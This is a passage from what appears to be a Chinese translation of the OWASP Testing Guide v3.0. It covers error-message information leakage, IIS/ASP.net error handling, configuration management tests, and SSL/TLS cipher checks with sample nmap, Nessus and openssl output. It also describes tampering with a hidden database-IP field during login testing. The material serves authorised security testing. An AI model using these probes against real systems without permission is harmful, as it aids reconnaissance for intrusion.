在 这 个 例 子 中 , 我 们 可 以 看 到 在 同 一 情 况 下 的 一 种 通 用 的 错 误 , 揭 示 了 相 关 的 数 据 库 系 统 的 类 型 和 版 本 和 对<br />

Windows 操 作 系 统 的 注 册 表 键 值 的 依 赖 关 系 。<br />

现 在 我 们 将 看 看 一 个 Web 应 用 的 安 全 测 试 的 实 例 , 这 个 web 应 用 丢 失 了 对 数 据 库 服 务 器 的 链 接 , 并 且 没 有 很 好 的<br />

进 行 异 常 处 理 。 这 可 能 是 由 于 数 据 库 的 名 称 解 析 的 问 题 , 处 理 突 发 变 量 值 或 其 他 网 络 问 题 所 引 起 的 。<br />

试 想 我 们 有 一 个 数 据 库 管 理 的 门 户 网 站 的 情 况 , 它 可 以 被 用 来 作 为 前 端 的 GUI 发 行 数 据 库 查 询 , 创 建 表 格 , 并 修 改<br />

数 据 库 字 段 。 在 登 录 验 证 时 , 渗 透 测 试 者 会 得 到 下 面 的 信 息 。 该 信 息 表 明 存 在 一 个 MySQL 数 据 库 服 务 器 :<br />

Microsoft OLE DB Provider for ODBC Drivers (0x80004005)<br />

[MySQL][ODBC 3.51 Driver]Unknown MySQL server host<br />

如 果 我 们 看 到 登 录 页 的 HTML 代 码 中 存 在 一 个 数 据 库 的 IP 隐 藏 字 段 , 我 们 可 以 在 渗 透 测 试 员 的 控 制 下 尝 试 使 用 数 据<br />

库 服 务 器 的 地 址 改 变 URL 中 的 这 个 值 , 来 试 图 让 应 用 以 为 登 录 成 功 了 。<br />

另 一 个 例 子 : 知 道 了 服 务 Web 应 用 的 数 据 库 服 务 器 , 我 们 就 可 以 利 用 这 一 信 息 对 那 类 服 务 器 进 行 SQL 注 入 或 长 期<br />

跨 站 脚 本 测 试 。<br />

IIS 和 ASP .net 错 误 处 理<br />

ASP .net 是 Microsoft 常 用 于 创 建 Web 应 用 的 框 架 。. IIS 常 用 于 Web 服 务 器 。 所 有 的 应 用 都 会 产 生 错 误 , 我 们 尝 试<br />

规 避 大 多 数 的 错 误 , 但 是 往 往 不 可 能 覆 盖 到 每 一 种 可 能 。<br />

IIS 使 用 了 通 常 存 放 在 c:\winnt\help\iishelp\common 中 的 一 系 列 自 定 义 错 误 页 面 向 用 户 展 示 像 “404 page not found”<br />

这 样 的 错 误 。 这 些 IIS 服 务 器 的 默 认 网 页 可 以 被 改 变 并 配 置 定 制 的 错 误 。 当 IIS 收 到 aspx 页 请 求 时 , 这 个 请 求 传<br />

递 给 .net framework。<br />

在 .net framework 中 有 各 种 不 同 的 方 法 可 以 处 理 错 误 。 在 ASP.net 中 在 三 个 地 方 处 理 错 误 ::<br />

1. Inside Web.config customErrors section 2. Inside global.asax Application_Error Sub 3. At the the aspx or associated codebehind page in<br />

the Page_Error sub<br />

使 用 web.config 错 误 处 理<br />

<br />

<br />

<br />

<br />

76


OWASP 测 试 指 南 v3.0<br />

mode="On" 将 打 开 自 定 义 错 误 。mode=RemoteOnly 将 对 远 程 Web 应 用 用 户 显 示 自 定 义 错 误 。 用 户 在 本 地 访 问 服 务 器<br />

会 使 用 完 整 的 堆 栈 跟 踪 显 示 , 同 时 该 用 户 将 无 法 看 到 自 定 义 的 错 误 。<br />

除 明 确 指 定 的 错 误 外 , 所 有 的 错 误 都 会 引 起 defaultRedirect 指 定 的 资 源 的 重 新 定 向 。 即 ,myerrorpagedefault.aspx。<br />

状 态 码 404 将 由 myerrorpagefor404.aspx 处 理 。<br />

Global.asax 错 误 处 理<br />

错 误 发 生 时 , 调 用 Application_Error sub。 开 发 人 员 可 以 在 这 个 sub 中 为 错 误 处 理 / 页 重 定 向 编 写 代 码 。<br />

Private Sub Application_Error (ByVal sender As Object, ByVal e As System.EventArgs)<br />

Handles MyBase.Error<br />

End Sub<br />

Page_Error sub 错 误 处 理<br />

这 跟 应 用 错 误 相 似 。<br />

Private Sub Page_Error (ByVal sender As Object, ByVal e As System.EventArgs)<br />

Handles MyBase.Error<br />

End Sub<br />

ASP .net 中 的 误 差 等 级<br />

Page_Error 将 被 优 先 处 理 , 其 次 是 lobal.asax Application_Error, 最 后 是 web.config 文 件 中 的 customErrors。<br />

使 用 服 务 器 端 的 技 术 针 对 Web 应 用 程 序 进 行 信 息 搜 集 是 相 当 困 难 , 但 所 发 现 的 信 息 对 正 确 执 行 尝 试 性 测 试 攻 击 是<br />

有 效 的 。( 例 如 , SQL 注 入 或 跨 站 点 脚 本 ( XSS ) 攻 击 ) , 并 可 以 减 少 误 报 。<br />

如 何 测 试 ASP.net 和 IIS 错 误 处 理<br />

打 开 您 的 浏 览 器 , 并 键 入 一 个 随 机 页 面 名 称 :<br />

http:\\www.mywebserver.com\anyrandomname.asp<br />

如 果 服 务 器 返 回 :<br />

The page cannot be found<br />

HTTP 404 - File not found<br />

Internet Information Services<br />

77


这 意 味 着 , 自 定 义 IIS 的 错 误 没 有 配 置 。 请 注 意 的 .asp 扩 展 名 。<br />

对 .net 自 定 义 错 误 进 行 测 试 。 在 浏 览 器 中 键 入 一 个 有 aspx 扩 展 名 的 随 机 页 面 名 称 :<br />

http:\\www.mywebserver.com\anyrandomname.aspx<br />

如 果 服 务 器 返 回 :<br />

Server Error in '/' Application.<br />

--------------------------------------------------------------------------------<br />

未 找 到 输 入 网 址 。<br />

描 述 : HTTP 404。 您 正 在 寻 找 ( 或 其 附 属 ) 的 资 源 可 能 已 被 删 除 , 改 变 了 它 的 名 字 , 或 暂 时 不 可 用 。 请 检 查 以 下<br />

URL 并 确 保 其 拼 写 正 确 。.net 的 自 定 义 错 误 未 配 置 。<br />

78<br />

黑 盒 测 试 实 例<br />

测 试 :<br />

telnet 80<br />

GET / HTTP/1.1<br />

<br />

结 果<br />

HTTP/1.1 404 Not Found<br />

Date: Sat, 04 Nov 2006 15:26:48 GMT<br />

Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g<br />

Content-Length: 310<br />

Connection: close<br />

Content-Type: text/html; charset=iso-8859-1<br />

测 试 :<br />

1. network problems<br />

2. bad configuration about host database address<br />

结 果 :<br />

Microsoft OLE DB Provider for ODBC Drivers (0x80004005) '<br />

[MySQL][ODBC 3.51 Driver]Unknown MySQL server host<br />

测 试 :<br />

1. Authentication failed<br />

2. Credentials not inserted<br />

结 果<br />

用 于 身 份 验 证 的 防 火 墙 版 本 :


OWASP 测 试 指 南 v3.0<br />

Error 407<br />

FW-1 at : Unauthorized to access the document.<br />

Authorization is needed for FW-1.<br />

The authentication required by FW-1 is: unknown.<br />

Reason for failure of last attempt: no user<br />

灰 盒 测 试 实 例<br />

测 试<br />

列 举 目 录 中 访 问 被 拒 绝 的 情 况 。<br />

http:///<br />

结 果<br />

Directory Listing Denied<br />

This Virtual Directory does not allow contents to be listed.<br />

Forbidden<br />

You don't have permission to access / on this server.<br />

参 考<br />

白 皮 书 :<br />

• [1] [RFC2616] Hypertext Transfer Protocol -- HTTP/1.1<br />

4.3 配 置 管 理 测 试<br />

经 常 分 析 基 础 结 构 和 拓 扑 结 构 可 以 获 取 大 量 的 Web 应 用 程 序 的 信 息 。 如 源 代 码 , 可 允 许 的 HTTP 方 法 , 管 理 功 能 ,<br />

身 份 认 证 的 方 法 和 基 础 结 构 的 配 置 。<br />

4.3.1 SSL/TLS 测 试 (OWASP-CM-001)<br />

SSL 和 TLS 是 两 个 通 过 加 密 为 传 播 的 信 息 提 供 安 全 信 道 的 协 议 , 该 安 全 信 道 具 有 保 护 , 保 密 和 身 份 认 证 的 功 能 。<br />

考 虑 到 这 些 安 全 工 具 的 关 键 性 , 确 保 加 密 算 法 的 高 强 度 及 其 正 确 执 行 非 常 重 要 。<br />

4.3.2 数 据 库 侦 听 器 (DB Listener) 测 试 (OWASP-CM-002)<br />

在 数 据 库 服 务 器 配 置 时 , 许 多 数 据 库 管 理 员 没 有 充 分 考 虑 到 数 据 库 侦 听 器 组 件 的 安 全 。 如 果 没 有 进 行 安 全 的 配 置 而<br />

使 用 手 动 或 自 动 的 技 术 进 行 侦 听 , 侦 听 器 就 可 能 泄 露 敏 感 数 据 以 及 配 置 信 息 或 运 行 的 数 据 库 实 例 信 息 。 泄 露 的 信 息<br />

对 测 试 者 来 说 通 常 是 有 用 的 , 他 能 将 此 投 入 到 后 续 更 有 影 响 的 测 试 中 去 。<br />

79


4.3.3 基 础 结 构 配 置 管 理 测 试 (OWASP-CM-003)<br />

相 互 联 系 的 混 杂 的 Web 服 务 器 结 构 能 有 数 以 百 计 的 web 应 用 程 序 , 这 种 固 有 的 复 杂 性 使 配 置 管 理 和 审 查 成 为 测 试<br />

和 部 署 每 一 个 应 用 程 序 的 一 个 基 本 步 骤 。 事 实 上 一 个 漏 洞 就 能 破 坏 整 个 基 础 结 构 的 安 全 , 甚 至 某 些 微 小 且 ( 几 乎 )<br />

不 重 要 的 问 题 可 能 对 于 相 同 服 务 器 上 的 另 外 一 个 应 用 程 序 是 个 严 重 的 威 胁 。 为 了 解 决 这 些 问 题 , 对 配 置 和 已 知 的 安<br />

全 问 题 执 行 深 入 审 查 是 非 常 重 要 的 。<br />

4.3.4 应 用 配 置 管 理 测 试 (OWASP-CM-004)<br />

Web 应 用 程 序 隐 藏 了 一 些 通 常 在 应 用 程 序 自 身 开 发 和 配 置 中 没 有 考 虑 到 的 信 息 。<br />

这 些 信 息 可 能 从 源 代 码 , 日 志 文 件 或 Web 服 务 器 的 默 认 错 误 代 码 中 泄 露 。 正 确 对 待 这 一 问 题 是 安 全 评 估 中 最 基 本<br />

的 。<br />

4.3.5 文 件 扩 展 名 处 理 测 试 (OWASP-CM-005)<br />

从 Web 服 务 器 或 Web 应 用 程 序 上 的 文 件 扩 展 名 能 够 识 别 出 目 标 应 用 程 序 使 用 的 技 术 , 例 如 扩 展 名 JSP 与 ASP。 文 件<br />

扩 展 名 也 可 能 暴 露 与 该 应 用 程 序 连 接 的 其 它 系 统 。<br />

4.3.6 过 时 的 、 用 于 备 份 的 以 及 未 被 引 用 的 文 件 (OWASP-CM-006)<br />

Web 服 务 器 上 多 余 的 , 可 读 的 和 可 下 载 的 文 件 , 如 过 时 的 , 用 于 备 份 的 和 更 名 的 文 件 , 是 信 息 泄 漏 的 一 个 大 源 头 。<br />

验 证 这 些 文 件 的 存 在 是 有 必 要 的 , 因 为 它 们 可 能 包 含 应 用 程 序 和 / 或 数 据 库 的 部 分 源 代 码 , 安 装 路 径 以 及 密 码 。<br />

4.3.7 基 础 结 构 和 应 用 管 理 接 口 (OWASP-CM-007)<br />

许 多 应 用 程 序 在 管 理 接 口 使 用 一 个 公 用 路 径 , 从 而 可 能 被 用 来 猜 测 或 暴 力 破 解 管 理 密 码 。 此 测 试 目 的 是 找 到 管 理 接<br />

口 , 并 了 解 是 否 可 以 利 用 它 获 取 管 理 员 权 限 。<br />

4.3.8 HTTP 方 法 和 XST 测 试 (OWASP-CM-008)<br />

在 这 个 测 试 中 , 我 们 确 保 Web 服 务 器 没 有 被 配 置 成 允 许 使 用 具 有 潜 在 危 险 性 的 HTTP 命 令 ( 方 法 ), 同 时 确 保 跨 网<br />

站 追 踪 攻 击 (XST) 是 不 可 能 的 。<br />

4.3.1 SSL/TLS 测 试 (OWASP-CM-001)<br />

概 述<br />

由 于 历 史 上 的 高 级 加 密 技 术 的 出 口 限 制 , 传 统 的 和 新 的 Web 服 务 器 可 能 只 能 够 支 持 处 理 弱 加 密 。<br />

即 使 是 使 用 和 安 装 了 高 级 加 密 , 服 务 器 安 装 过 程 中 的 错 误 配 置 也 会 导 致 被 强 制 使 用 弱 加 密 从 而 获 得 所 谓 的 安 全 通 信<br />

信 道 。<br />

80


OWASP 测 试 指 南 v3.0<br />

测 试 网 站 SSL/TLS 的 加 密 规 范 和 需 求<br />

HTTP 明 文 协 议 通 常 是 通 过 SSL 或 TLS 隧 道 来 确 保 安 全 的 , 这 也 就 形 成 了 HTTPS 流 量 。 除 了 提 供 加 密 的 数 据 传 输 ,<br />

https 还 允 许 通 过 数 字 证 书 鉴 定 服 务 器 ( 还 可 以 选 择 鉴 定 客 户 端 )。<br />

从 历 史 上 看 , 美 国 政 府 有 限 制 令 , 允 许 出 口 的 加 密 系 统 密 钥 长 度 最 多 为 40 位 , 而 这 是 可 以 被 破 解 从 而 获 得 通 信 解<br />

码 的 密 钥 长 度 。 自 那 时 以 来 的 加 密 出 口 法 规 已 放 宽 ( 虽 然 一 些 制 约 因 素 仍 然 存 在 ), 然 而 为 避 免 被 轻 松 破 解 , 检 查<br />

SSL 配 置 仍 很 重 要 。 基 于 SSL 的 服 务 不 应 该 提 供 选 择 弱 密 码 的 可 能 性 。<br />

从 技 术 上 讲 , 密 钥 的 选 定 过 程 如 下 : 在 SSL 连 接 安 装 的 初 期 阶 段 , 客 户 端 发 送 Hello 消 息 到 服 务 器 , 该 消 息 除 了 包<br />

含 其 它 信 息 外 , 还 包 括 了 它 可 以 处 理 的 一 系 列 加 密 套 件 。 客 户 端 通 常 是 一 个 Web 浏 览 器 ( 现 在 最 流 行 的 SSL 客 户<br />

端 ), 但 不 一 定 全 是 , 因 为 它 可 以 是 任 何 使 用 SSL 功 能 的 应 用 程 序 ; 服 务 器 同 样 如 此 , 它 不 一 定 是 一 个 web 服 务<br />

器 , 虽 然 大 多 数 情 况 下 它 是 一 个 web 服 务 器 。( 例 如 , 一 类 值 得 注 意 的 SSL 客 户 端 是 SSL 代 理 , 如 stunnel<br />

(www.stunnel.org), 它 可 以 允 许 没 有 SSL 功 能 的 工 具 连 接 SSL 服 务 。) 每 种 加 密 套 件 都 指 定 了 加 密 协 议 (DES,<br />

RC4, AES), 加 密 密 钥 长 度 ( 如 40,56, 或 128 位 ), 以 及 用 于 完 整 性 检 查 的 散 列 算 法 (SHA,MD5)。 当 收 到 客 户<br />

端 的 Hello 消 息 , 服 务 器 决 定 选 哪 种 加 密 套 件 用 于 该 会 话 。 指 定 服 务 器 采 用 何 种 加 密 套 件 是 有 可 能 的 ( 例 如 , 通 过<br />

配 置 指 令 )。 通 过 这 种 方 式 , 您 可 以 控 制 , 例 如 , 与 客 户 端 的 对 话 是 否 只 支 持 40 位 加 密 。<br />

黑 箱 测 试 及 实 例<br />

为 了 发 现 可 能 存 在 的 弱 加 密 , 必 须 识 别 出 使 用 SSL/TLS 服 务 的 相 关 端 口 。 这 些 尤 其 包 括 作 为 Https 标 准 端 口 的 443<br />

端 口 。 但 是 这 可 能 会 改 变 , 因 为 a)HTTPS 的 服 务 可 能 被 配 置 成 在 非 标 准 端 口 运 行 ;b) 可 能 有 其 它 的 与 Web 应 用 程<br />

序 相 关 的 服 务 使 用 SSL/TLS。 一 般 情 况 下 , 要 发 现 服 务 必 须 找 到 这 些 端 口 。<br />

Nmap 扫 描 , 通 过 “–sV” 扫 描 选 项 , 是 能 够 确 定 SSL 服 务 的 。 漏 洞 扫 描 器 , 除 了 可 以 发 现 这 些 服 务 , 还 可 能 包 括 对<br />

弱 加 密 的 检 查 ,( 例 如 ,Nessus 扫 描 器 可 以 检 查 到 任 意 端 口 的 SSL 服 务 , 并 将 报 告 存 在 的 弱 加 密 ) 。<br />

例 1. 通 过 nmap 识 别 SSL 服 务<br />

[root@test]# nmap -F -sV localhost<br />

Starting nmap 3.75 ( http://www.insecure.org/nmap/ ) at 2005-07-27 14:41 CEST<br />

Interesting ports on localhost.localdomain (127.0.0.1):<br />

(The 1205 ports scanned but not shown below are in state: closed)<br />

PORT STATE SERVICE VERSION<br />

443/tcp open ssl OpenSSL<br />

901/tcp open http Samba SWAT administration server<br />

8080/tcp open http Apache httpd 2.0.54 ((Unix) mod_ssl/2.0.54 OpenSSL/0.9.7g PHP/4.3.11)<br />

8081/tcp open http Apache Tomcat/Coyote JSP engine 1.0<br />

Nmap run completed -- 1 IP address (1 host up) scanned in 27.881 seconds<br />

81


[root@test]#<br />

Example 2. 使 用 Nessus 找 出 弱 加 密 。 下 面 是 一 份 Nessus 扫 描 器 所 产 生 的 对 于 使 用 服 务 器 证 书 进 行 身 份 认 证 中 存 在<br />

弱 加 密 的 ( 见 下 划 线 的 文 本 ) 报 告 中 的 一 个 匿 名 摘 录 。<br />

https (443/tcp)<br />

Description<br />

Here is the SSLv2 server certificate:<br />

Certificate:<br />

Data:<br />

Version: 3 (0x2)<br />

Serial Number: 1 (0x1)<br />

Signature Algorithm: md5WithRSAEncryption<br />

Issuer: C=**, ST=******, L=******, O=******, OU=******, CN=******<br />

Validity<br />

Not Before: Oct 17 07:12:16 2002 GMT<br />

Not After : Oct 16 07:12:16 2004 GMT<br />

Subject: C=**, ST=******, L=******, O=******, CN=******<br />

Subject Public Key Info:<br />

Public Key Algorithm: rsaEncryption<br />

RSA Public Key: (1024 bit)<br />

Modulus (1024 bit):<br />

00:98:4f:24:16:cb:0f:74:e8:9c:55:ce:62:14:4e:<br />

6b:84:c5:81:43:59:c1:2e:ac:ba:af:92:51:f3:0b:<br />

ad:e1:4b:22:ba:5a:9a:1e:0f:0b:fb:3d:5d:e6:fc:<br />

ef:b8:8c:dc:78:28:97:8b:f0:1f:17:9f:69:3f:0e:<br />

72:51:24:1b:9c:3d:85:52:1d:df:da:5a:b8:2e:d2:<br />

09:00:76:24:43:bc:08:67:6b:dd:6b:e9:d2:f5:67:<br />

e1:90:2a:b4:3b:b4:3c:b3:71:4e:88:08:74:b9:a8:<br />

2d:c4:8c:65:93:08:e6:2f:fd:e0:fa:dc:6d:d7:a2:<br />

3d:0a:75:26:cf:dc:47:74:29<br />

Exponent: 65537 (0x10001)<br />

X509v3 extensions:<br />

X509v3 Basic Constraints:<br />

CA:FALSE<br />

Netscape Comment:<br />

OpenSSL Generated Certificate<br />

Page 10<br />

Network Vulnerability Assessment Report 25.05.2005<br />

X509v3 Subject Key Identifier:<br />

10:00:38:4C:45:F0:7C:E4:C6:A7:A4:E2:C9:F0:E4:2B:A8:F9:63:A8<br />

X509v3 Authority Key Identifier:<br />

keyid:CE:E5:F9:41:7B:D9:0E:5E:5D:DF:5E:B9:F3:E6:4A:12:19:02:76:CE<br />

DirName:/C=**/ST=******/L=******/O=******/OU=******/CN=******<br />

serial:00<br />

Signature Algorithm: md5WithRSAEncryption<br />

7b:14:bd:c7:3c:0c:01:8d:69:91:95:46:5c:e6:1e:25:9b:aa:<br />

8b:f5:0d:de:e3:2e:82:1e:68:be:97:3b:39:4a:83:ae:fd:15:<br />

2e:50:c8:a7:16:6e:c9:4e:76:cc:fd:69:ae:4f:12:b8:e7:01:<br />

b6:58:7e:39:d1:fa:8d:49:bd:ff:6b:a8:dd:ae:83:ed:bc:b2:<br />

40:e3:a5:e0:fd:ae:3f:57:4d:ec:f3:21:34:b1:84:97:06:6f:<br />

82


OWASP 测 试 指 南 v3.0<br />

f4:7d:f4:1c:84:cc:bb:1c:1c:e7:7a:7d:2d:e9:49:60:93:12:<br />

0d:9f:05:8c:8e:f9:cf:e8:9f:fc:15:c0:6e:e2:fe:e5:07:81:<br />

82:fc<br />

Here is the list of available SSLv2 ciphers:<br />

RC4-MD5<br />

EXP-RC4-MD5<br />

RC2-CBC-MD5<br />

EXP-RC2-CBC-MD5<br />

DES-CBC-MD5<br />

DES-CBC3-MD5<br />

RC4-64-MD5<br />

The SSLv2 server offers 5 strong ciphers, but also 0 medium strength and 2 weak "export class" ciphers.<br />

The weak/medium ciphers may be chosen by an export-grade or badly configured client software. They only offer a<br />

limited protection against a brute force attack<br />

Solution: disable those ciphers and upgrade your client software if necessary.<br />

See http://support.microsoft.com/default.aspx?scid=kben-us216482<br />

or http://httpd.apache.org/docs-2.0/mod/mod_ssl.html#sslciphersuite<br />

This SSLv2 server also accepts SSLv3 connections.<br />

This SSLv2 server also accepts TLSv1 connections.<br />

例 3. 用 OpenSSL 进 行 人 工 检 查 SSL 弱 加 密 程 度 。 下 面 将 尝 试 通 过 SSLv2 连 接 到 Google.com。<br />

[root@test]# openssl s_client -no_tls1 -no_ssl3 -connect www.google.com:443<br />

CONNECTED(00000003)<br />

depth=0 /C=US/ST=California/L=Mountain View/O=Google Inc/CN=www.google.com<br />

verify error:num=20:unable to get local issuer certificate<br />

verify return:1<br />

depth=0 /C=US/ST=California/L=Mountain View/O=Google Inc/CN=www.google.com<br />

verify error:num=27:certificate not trusted<br />

verify return:1<br />

depth=0 /C=US/ST=California/L=Mountain View/O=Google Inc/CN=www.google.com<br />

verify error:num=21:unable to verify the first certificate<br />

verify return:1<br />

---<br />

Server certificate<br />

-----BEGIN CERTIFICATE-----<br />

MIIDYzCCAsygAwIBAgIQYFbAC3yUC8RFj9MS7lfBkzANBgkqhkiG9w0BAQQFADCB<br />

zjELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBxMJ<br />

Q2FwZSBUb3duMR0wGwYDVQQKExRUaGF3dGUgQ29uc3VsdGluZyBjYzEoMCYGA1UE<br />

CxMfQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjEhMB8GA1UEAxMYVGhh<br />

d3RlIFByZW1pdW0gU2VydmVyIENBMSgwJgYJKoZIhvcNAQkBFhlwcmVtaXVtLXNl<br />

cnZlckB0aGF3dGUuY29tMB4XDTA2MDQyMTAxMDc0NVoXDTA3MDQyMTAxMDc0NVow<br />

aDELMAkGA1UEBhMCVVMxEzARBgNVBAgTCkNhbGlmb3JuaWExFjAUBgNVBAcTDU1v<br />

dW50YWluIFZpZXcxEzARBgNVBAoTCkdvb2dsZSBJbmMxFzAVBgNVBAMTDnd3dy5n<br />

b29nbGUuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/e2Vs8U33fRDk<br />

5NNpNgkB1zKw4rqTozmfwty7eTEI8PVH1Bf6nthocQ9d9SgJAI2WOBP4grPj7MqO<br />

dXMTFWGDfiTnwes16G7NZlyh6peT68r7ifrwSsVLisJp6pUf31M5Z3D88b+Yy4PE<br />

D7BJaTxq6NNmP1vYUJeXsGSGrV6FUQIDAQABo4GmMIGjMB0GA1UdJQQWMBQGCCsG<br />

AQUFBwMBBggrBgEFBQcDAjBABgNVHR8EOTA3MDWgM6Axhi9odHRwOi8vY3JsLnRo<br />

YXd0ZS5jb20vVGhhd3RlUHJlbWl1bVNlcnZlckNBLmNybDAyBggrBgEFBQcBAQQm<br />

MCQwIgYIKwYBBQUHMAGGFmh0dHA6Ly9vY3NwLnRoYXd0ZS5jb20wDAYDVR0TAQH/<br />

BAIwADANBgkqhkiG9w0BAQQFAAOBgQADlTbBdVY6LD1nHWkhTadmzuWq2rWE0KO3<br />

83


Ay+7EleYWPOo+EST315QLpU6pQgblgobGoI5x/fUg2U8WiYj1I1cbavhX2h1hda3<br />

FJWnB3SiXaiuDTsGxQ267EwCVWD5bCrSWa64ilSJTgiUmzAv0a2W8YHXdG08+nYc<br />

X/dVk5WRTw==<br />

-----END CERTIFICATE-----<br />

subject=/C=US/ST=California/L=Mountain View/O=Google Inc/CN=www.google.com<br />

issuer=/C=ZA/ST=Western Cape/L=Cape Town/O=Thawte Consulting cc/OU=Certification Services Division/CN=Thawte<br />

Premium Server CA/emailAddress=premium-server@thawte.com<br />

---<br />

No client certificate CA names sent<br />

---<br />

Ciphers common between both SSL endpoints:<br />

RC4-MD5 EXP-RC4-MD5 RC2-CBC-MD5<br />

EXP-RC2-CBC-MD5 DES-CBC-MD5 DES-CBC3-MD5<br />

RC4-64-MD5<br />

---<br />

SSL handshake has read 1023 bytes and written 333 bytes<br />

---<br />

New, SSLv2, Cipher is DES-CBC3-MD5<br />

Server public key is 1024 bit<br />

Compression: NONE<br />

Expansion: NONE<br />

SSL-Session:<br />

Protocol : SSLv2<br />

Cipher : DES-CBC3-MD5<br />

Session-ID: 709F48E4D567C70A2E49886E4C697CDE<br />

Session-ID-ctx:<br />

Master-Key: 649E68F8CF936E69642286AC40A80F433602E3C36FD288C3<br />

Key-Arg : E8CB6FEB9ECF3033<br />

Start Time: 1156977226<br />

Timeout : 300 (sec)<br />

Verify return code: 21 (unable to verify the first certificate)<br />

---<br />

closed<br />

白 盒 测 试 和 实 例<br />

检 查 提 供 HTTPS 服 务 的 web 服 务 器 的 配 置 。 如 果 Web 服 务 器 的 配 置 。 如 果 Web 应 用 程 序 提 供 其 它 应 用 程 序 提 供 了 其<br />

它 SSL/TLS 的 封 装 服 务 , 这 些 服 务 也 应 受 检 查 。<br />

例 :Windows 2k3 的 注 册 表 路 径 定 义 了 可 用 的 服 务 器 加 密 算 法 :<br />

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Ciphers\<br />

测 试 SSL 证 书 的 有 效 性 - 客 户 端 和 服 务 器<br />

当 通 过 HTTPS 协 议 访 问 一 个 Web 应 用 程 序 , 在 客 户 端 ( 通 常 是 浏 览 器 ) 和 服 务 器 间 就 建 立 了 一 个 安 全 信 道 。 通 过 数<br />

字 证 书 就 能 鉴 定 一 方 ( 服 务 器 ) 或 双 方 ( 客 户 端 和 服 务 器 ) 的 身 份 。 为 了 建 立 通 信 , 必 须 传 输 一 些 证 书 。 然 而 讨 论<br />

基 于 SSL 和 证 书 的 认 证 超 出 本 指 南 的 范 围 , 我 们 将 集 中 于 主 要 标 准 , 包 括 确 定 证 书 有 效 期 : a) 检 查 认 证 机 构<br />

84


OWASP 测 试 指 南 v3.0<br />

(CA) 是 否 已 知 ( 意 思 是 一 个 值 得 信 赖 的 ),b) 检 查 该 证 书 目 前 是 有 效 的 , 和 c) 检 查 网 站 的 名 称 是 否 与 证 书 中 报<br />

告 的 相 符 。<br />

让 我 们 更 详 尽 的 检 查 每 一 项 。<br />

a) 每 个 浏 览 器 带 有 一 个 预 装 的 受 信 任 的 CA 清 单 , 用 来 比 较 签 署 证 书 的 CA( 此 列 表 可 随 意 自 定 义 和 扩 展 )。 在 与 一<br />

个 HTTPS 服 务 器 最 初 的 协 商 中 , 如 果 服 务 器 证 书 关 联 的 CA 不 是 浏 览 器 已 知 的 , 通 常 会 提 出 警 告 。 这 种 情 况 往 往 是<br />

因 为 一 个 Web 应 用 程 序 依 赖 于 自 我 设 立 的 CA 所 签 署 的 证 书 。 是 否 需 要 担 心 这 个 问 题 取 决 于 几 个 因 素 。 例 如 , 对 公<br />

司 内 部 网 络 环 境 来 说 是 没 问 题 的 ( 考 虑 到 公 司 网 络 电 子 邮 件 通 过 https 提 供 ; 在 这 里 , 显 然 视 所 有 的 内 部 CA 为 可<br />

信 任 的 CA)。 当 一 个 服 务 通 过 互 联 网 提 供 给 普 通 公 众 ,( 重 要 的 是 要 积 极 核 实 我 们 连 接 的 服 务 器 的 身 份 ), 通 常 ,<br />

它 就 必 须 依 靠 可 信 任 的 CA, 这 CA 必 须 是 一 个 被 所 有 的 用 户 群 所 公 认 的 ( 这 里 我 们 停 止 我 们 的 考 虑 '; 我 们 将 不 深 入<br />

讨 论 数 字 证 书 使 用 的 信 任 模 型 的 含 义 )。<br />

b) 证 书 有 相 关 的 有 效 期 , 因 此 , 它 们 可 能 会 过 期 。 浏 览 器 会 再 次 提 醒 我 们 。 这 时 公 共 服 务 需 要 一 个 临 时 的 有 效 证<br />

书 , 否 则 , 就 意 味 着 我 们 与 一 个 服 务 器 会 话 , 且 该 服 务 器 的 证 书 由 我 们 所 信 任 的 机 构 发 布 , 但 是 却 由 于 没 有 更 新 而<br />

过 期 了 。<br />

c) 如 果 证 书 的 名 称 和 服 务 器 的 名 称 不 匹 配 呢 ? 如 果 发 生 这 种 情 况 , 就 很 可 疑 。 由 于 某 些 原 因 , 这 并 不 是 很 少 出<br />

现 。 系 统 可 能 拥 有 一 些 基 于 名 字 的 虚 拟 主 机 , 它 们 共 享 相 同 的 IP 地 址 , 并 通 过 HTTP 1.1 Host:header 信 息 识<br />

别 。 在 这 种 情 况 下 , 因 为 在 HTTP 请 求 处 理 之 前 ,SSL 的 握 手 协 议 会 检 查 服 务 器 证 书 , 所 以 对 每 个 虚 拟 服 务 器 指 定 不<br />

同 的 证 书 是 不 可 能 的 。 因 此 , 如 果 该 网 站 的 名 称 和 反 映 到 证 书 的 名 称 不 匹 配 , 浏 览 器 通 常 会 特 别 通 告 这 个 状 况 。 为<br />

了 避 免 这 种 情 况 , 必 须 使 用 基 于 IP 的 虚 拟 服 务 器 。[2] 和 [3] 描 述 了 用 于 处 理 这 个 问 题 和 能 够 被 正 确 引 用 到 的 基 于<br />

名 字 的 虚 拟 主 机 技 术 。<br />

黑 盒 测 试 和 实 例<br />

检 查 应 用 程 序 所 使 用 的 证 书 的 有 效 性 。 当 遇 到 过 期 的 证 书 , 不 可 信 任 的 CA 颁 发 的 证 书 和 不 能 与 所 涉 及 的 网 站 名 匹<br />

配 的 证 书 时 , 浏 览 器 将 发 出 警 告 。 访 问 HTTPS 网 站 时 , 通 过 点 击 出 现 在 浏 览 器 窗 口 的 挂 锁 , 你 可 以 看 看 与 证 书 有 关<br />

的 资 料 - 包 括 颁 发 者 , 有 效 期 , 加 密 特 性 等 。<br />

如 果 应 用 程 序 需 要 一 个 客 户 端 证 书 , 您 就 可 能 已 经 安 装 了 一 个 以 便 能 访 问 到 该 应 用 程 序 。 可 以 在 浏 览 器 中 通 过 所 安<br />

装 证 书 的 名 单 查 看 有 关 证 书 从 而 获 取 证 书 的 相 关 信 息 。<br />

这 些 检 查 必 须 被 用 于 该 应 用 程 序 使 用 的 所 有 可 见 的 SSL 封 装 的 通 信 渠 道 。 虽 然 HTTPS 服 务 通 常 在 端 口 443 上 运 行 ,<br />

根 据 web 应 用 程 序 的 体 系 结 构 和 部 署 情 况 , 可 能 会 涉 及 到 更 多 的 服 务 (HTTPS 管 理 端 口 被 开 放 , 在 非 标 准 端 口 上 使<br />

